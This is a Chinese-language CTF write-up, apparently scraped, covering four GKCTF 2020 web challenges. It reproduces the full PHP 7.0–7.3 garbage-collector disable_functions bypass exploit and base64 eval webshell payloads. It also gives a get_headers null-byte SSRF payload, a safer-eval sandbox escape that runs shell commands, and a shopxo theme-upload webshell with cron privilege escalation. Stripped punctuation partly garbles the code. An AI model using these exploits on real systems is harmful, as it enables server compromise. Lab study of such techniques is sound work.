河南省建设工程造价信息网站,广德县建设协会网站,WordPress建站收费,wordpress 添加播放器[GKCTF 2020]CheckIN
这道题目考察#xff1a;php7-gc-bypass漏洞
打开这道题目#xff0c;开始以为考察反序列化#xff0c;但实际并不是#xff0c;这里直接用$_REQUEST传入了参数便可以利用了。这里出现了一个eval#xff08;#xff09;函数#xff0c;猜测考察命…[GKCTF 2020]CheckIN
这道题目考察php7-gc-bypass漏洞
打开这道题目开始以为考察反序列化但实际并不是这里直接用$_REQUEST传入了参数便可以利用了。这里出现了一个eval函数猜测考察命令执行 看到base64_decode说明我们的代码需要加密一下尝试着直接传入c3lzdGVtKCdscycpOw(即为base64加密后的system(ls);) 没有什么反应试试别的命令phpinfo();
?GinkgoZXZhbCgkX1BPU1RbJ2FiYyddKTs 出现反应发现这个点是可以进行利用的应该是php过滤了危险函数在phpinfo中的disable_functions可以看到 尝试着用一句话来突破构造url 源码?Ginkgoeval($_POST[abc]);
?GinkgoZXZhbCgkX1BPU1RbJ2FiYyddKTs 蚁剑进行连接 找flag的时候出现了乱码
猜测就是运行它来读flag
php版本7.3.24
php7-gc-bypass漏洞利用PHP garbage collector程序中的堆溢出触发进而执行命令 影响范围是linuxphp7.0-7.3
expexploits/php7-gc-bypass/exploit.php at master · mm0r1/exploits (github.com)
?php# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id72530
#
# This exploit should work on all PHP 7.0-7.3 versions
#
# Author: https://github.com/mm0r1pwn(/readflag);function pwn($cmd) {global $abc, $helper;function str2ptr($str, $p 0, $s 8) {$address 0;for($j $s-1; $j 0; $j--) {$address 8;$address | ord($str[$p$j]);}return $address;}function ptr2str($ptr, $m 8) {$out ;for ($i0; $i $m; $i) {$out . chr($ptr 0xff);$ptr 8;}return $out;}function write($str, $p, $v, $n 8) {$i 0;for($i 0; $i $n; $i) {$str[$p $i] chr($v 0xff);$v 8;}}function leak($addr, $p 0, $s 8) {global $abc, $helper;write($abc, 0x68, $addr $p - 0x10);$leak strlen($helper-a);if($s ! 8) { $leak % 2 ($s * 8) - 1; }return $leak;}function parse_elf($base) {$e_type leak($base, 0x10, 2);$e_phoff leak($base, 0x20);$e_phentsize leak($base, 0x36, 2);$e_phnum leak($base, 0x38, 2);for($i 0; $i $e_phnum; $i) {$header $base $e_phoff $i * $e_phentsize;$p_type leak($header, 0, 4);$p_flags leak($header, 4, 4);$p_vaddr leak($header, 0x10);$p_memsz leak($header, 0x28);if($p_type 1 $p_flags 6) { # PT_LOAD, PF_Read_Write# handle pie$data_addr $e_type 2 ? $p_vaddr : $base $p_vaddr;$data_size $p_memsz;} else if($p_type 1 $p_flags 5) { # PT_LOAD, PF_Read_exec$text_size $p_memsz;}}if(!$data_addr || !$text_size || !$data_size)return false;return [$data_addr, $text_size, $data_size];}function get_basic_funcs($base, $elf) {list($data_addr, $text_size, $data_size) $elf;for($i 0; $i $data_size / 8; $i) {$leak leak($data_addr, $i * 8);if($leak - $base 0 $leak - $base $data_addr - $base) {$deref leak($leak);# constant constant checkif($deref ! 0x746e6174736e6f63)continue;} else continue;$leak leak($data_addr, ($i 4) * 8);if($leak - $base 0 $leak - $base $data_addr - $base) {$deref leak($leak);# bin2hex constant checkif($deref ! 0x786568326e6962)continue;} else continue;return $data_addr $i * 8;}}function get_binary_base($binary_leak) {$base 0;$start $binary_leak 0xfffffffffffff000;for($i 0; $i 0x1000; $i) {$addr $start - 0x1000 * $i;$leak leak($addr, 0, 7);if($leak 0x10102464c457f) { # ELF headerreturn $addr;}}}function get_system($basic_funcs) {$addr $basic_funcs;do {$f_entry leak($addr);$f_name leak($f_entry, 0, 6);if($f_name 0x6d6574737973) { # systemreturn leak($addr 8);}$addr 0x20;} while($f_entry ! 0);return false;}class ryat {var $ryat;var $chtg;function __destruct(){$this-chtg $this-ryat;$this-ryat 1;}}class Helper {public $a, $b, $c, $d;}if(stristr(PHP_OS, WIN)) {die(This PoC is for *nix systems only.);}$n_alloc 10; # increase this value if you get segfaults$contiguous [];for($i 0; $i $n_alloc; $i)$contiguous[] str_repeat(A, 79);$poc a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:ryat:2:{s:4:ryat;R:3;s:4:chtg;i:2;}}i:1;i:3;i:2;R:5;};$out unserialize($poc);gc_collect_cycles();$v [];$v[0] ptr2str(0, 79);unset($v);$abc $out[2][0];$helper new Helper;$helper-b function ($x) { };if(strlen($abc) 79 || strlen($abc) 0) {die(UAF failed);}# leaks$closure_handlers str2ptr($abc, 0);$php_heap str2ptr($abc, 0x58);$abc_addr $php_heap - 0xc8;# fake valuewrite($abc, 0x60, 2);write($abc, 0x70, 6);# fake referencewrite($abc, 0x10, $abc_addr 0x60);write($abc, 0x18, 0xa);$closure_obj str2ptr($abc, 0x20);$binary_leak leak($closure_handlers, 8);if(!($base get_binary_base($binary_leak))) {die(Couldnt determine binary base address);}if(!($elf parse_elf($base))) {die(Couldnt parse ELF header);}if(!($basic_funcs get_basic_funcs($base, $elf))) {die(Couldnt get basic_functions address);}if(!($zif_system get_system($basic_funcs))) {die(Couldnt get zif_system address);}# fake closure object$fake_obj_offset 0xd0;for($i 0; $i 0x110; $i 8) {write($abc, $fake_obj_offset $i, leak($closure_obj, $i));}# pwnwrite($abc, 0x20, $abc_addr $fake_obj_offset);write($abc, 0xd0 0x38, 1, 4); # internal func typewrite($abc, 0xd0 0x68, $zif_system); # internal func handler($helper-b)($cmd);exit();
} 修改一下exp的执行目标“/readflag”通过蚁剑上传至tmp目录下因为这目录的权限较高
上传成功后在页面里包含文件即可获得flag
?Ginkgoinclude(’/tmp/test.php’);
Base64后?GinkgoaW5jbHVkZSgnL3RtcC90ZXN0LnBocCcpOw [GKCTF 2020]cve版签到
考察cve-2020-7066漏洞
cve-2020-7066: 在低于7.2.29的PHP版本7.2.x低于7.3.16的7.3.x和低于7.4.4的7.4.x中将get_headers与用户提供的URL一起使用时如果URL包含零\ 0字符则URL将被静默地截断。这可能会导致某些软件对get_headers的目标做出错误的假设并可能将某些信息发送到错误的服务器。 两者结合利用零字符截断使get_headers()请求到本地127.0.0.1
payload:
?urlhttp://127.0.0.1%00www.ctfhub.com提示Host必须以123结尾
payload:
?urlhttp://127.0.0.123%00www.ctfhub.com [GKCTF 2020]ez三剑客-easynode
考察safer-eval漏洞沙盒逃逸
查看源码
const express require(express);
const bodyParser require(body-parser);const saferEval require(safer-eval); // 2019.7/WORKER1 找到一个很棒的库const fs require(fs);const app express();app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());// 2020.1/WORKER2 老板说为了后期方便优化
app.use((req, res, next) {if (req.path /eval) {let delay 60 * 1000;console.log(delay);if (Number.isInteger(parseInt(req.query.delay))) {delay Math.max(delay, parseInt(req.query.delay));}const t setTimeout(() next(), delay);// 2020.1/WORKER3 老板说让我优化一下速度我就直接这样写了其他人写了啥关我p事setTimeout(() {clearTimeout(t);console.log(timeout);try {res.send(Timeout!);} catch (e) {}}, 1000);} else {next();}
});app.post(/eval, function (req, res) {let response ;if (req.body.e) {try {response saferEval(req.body.e);} catch (e) {response Wrong Wrong Wrong!!!!;}}res.send(String(response));
});// 2019.10/WORKER1 老板娘说她要看到我们的源代码用行数计算KPI
app.get(/source, function (req, res) {res.set(Content-Type, text/javascript;charsetutf-8);res.send(fs.readFileSync(./index.js));
});// 2019.12/WORKER3 为了方便我自己查看版本加上这个接口
app.get(/version, function (req, res) {res.set(Content-Type, text/json;charsetutf-8);res.send(fs.readFileSync(./package.json));
});app.get(/, function (req, res) {res.set(Content-Type, text/html;charsetutf-8);res.send(fs.readFileSync(./index.html))
})app.listen(80, 0.0.0.0, () {console.log(Start listening)
});
const saferEval require(safer-eval)nodejs的题在ha1cyon出现了几次一般涉及到nodejs的题就是沙箱逃逸而导致能够沙箱逃逸的通常都是库的问题题目有特地强调了这个safer-eval的库直接去github找issues----直接搜索safer-eval 看这段代码
if (req.path /eval) {let delay 60 * 1000;console.log(delay);if (Number.isInteger(parseInt(req.query.delay))) {delay Math.max(delay, parseInt(req.query.delay));}const t setTimeout(() next(), delay);// 2020.1/WORKER3 老板说让我优化一下速度我就直接这样写了其他人写了啥关我p事setTimeout(() {clearTimeout(t);console.log(timeout);try {res.send(Timeout!);} catch (e) {}}, 1000);} else {next();}访问/eval的路由会设置一个delay和你传入的get参数的delay进行比较取较大的那个然后setTimeout是延时函数delay秒后就会执行第一个参数即next()否则就会send出timeout。 浏览器内部使用32位带符号的整数来储存推迟执行的时间这意味着setTimeout最多延迟2147483647秒。只要大于2147483647,就会发生溢出,就可以绕过那个时间限制进入下一个路由 绕过paylaod
/eval/?delay23333333333333333333333
所以利用溢出就可以成功绕过timeout。 绕过之后就是这个
let response ;if (req.body.e) {try {response saferEval(req.body.e);} catch (e) {response Wrong Wrong Wrong!!!!;}}res.send(String(response));post传入参数e可以saferEval安全的执行代码这里想要成功执行需要进行逃逸。 题目也给出了saferEval的版本和这个
const saferEval require(safer-eval); // 2019.7/WORKER1 找到一个很棒的库
直接利用即可
setInterval.constructor(return process)().mainModule.require(child_process).execSync(cat /flag).toString();[GKCTF 2020]老八小超市儿
考察shopxo漏洞利用
先安装shopxo后面显示shopxo的后台登录密码 后台管理地址/admin.php?s/admin/logininfo.html 默认账号密码登录即可admin/shopxo 成功登录后台 在后台找到应用中心-应用商店-主题然后下载默认主题。 下载下来的主题是一个安装包然后把你的shellphp马子放到压缩包的default\_static_ 目录下如下图 回到网页上找到网站管理-主题管理-主题安装然后选择你加入shell后的主题压缩包进行上传 访问成功用蚁剑进行连接 连接成功寻找flag
/flag是假的但是有线索提示说真正的flag的在/root 但是/root没有权限访问 根目录下还发现了个/auto.sh打开看看 是个脚本60秒执行一次找到这个py脚本 能修改直接改成os.system(cat /root/flag/1.txt)然后等待一分钟左右在根目录可以找到1.txt